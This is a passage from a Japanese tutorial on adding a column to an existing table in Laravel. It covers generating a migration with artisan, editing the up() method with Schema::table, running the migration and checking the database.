//コマンド形式 $ php artisan make:migration add_カラム名_to_テーブル名_table --table=テーブル名 //例1 memosテーブルにtitleカラムを追加する場合 $ php artisan make:migration add_title_to_memos_table --table=memos //例2 アンダーバーがあるuser_idカラムなどを追加する場合 $ php artisan make:migration add_user_id_to_memos_table --table=memos手順2:作成したマイグレーションファイルを編集
アプリ名/database/migrations配下に先ほど作ったファイルが作成されているので
function up の部分に追加したいカラムを下記のように記述を行う(今回の場合titleカラム)<?php public function up() { // } ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ public function up() { Schema::table('memos', function (Blueprint $table) { $table->string('title'); }); }手順3:マイグレーションコマンドを実行
下記のコマンドを実行
$ php artisan migrate手順4:DBを確認してカラムが追加されているか確認
カラムが追加されていてば完了となります。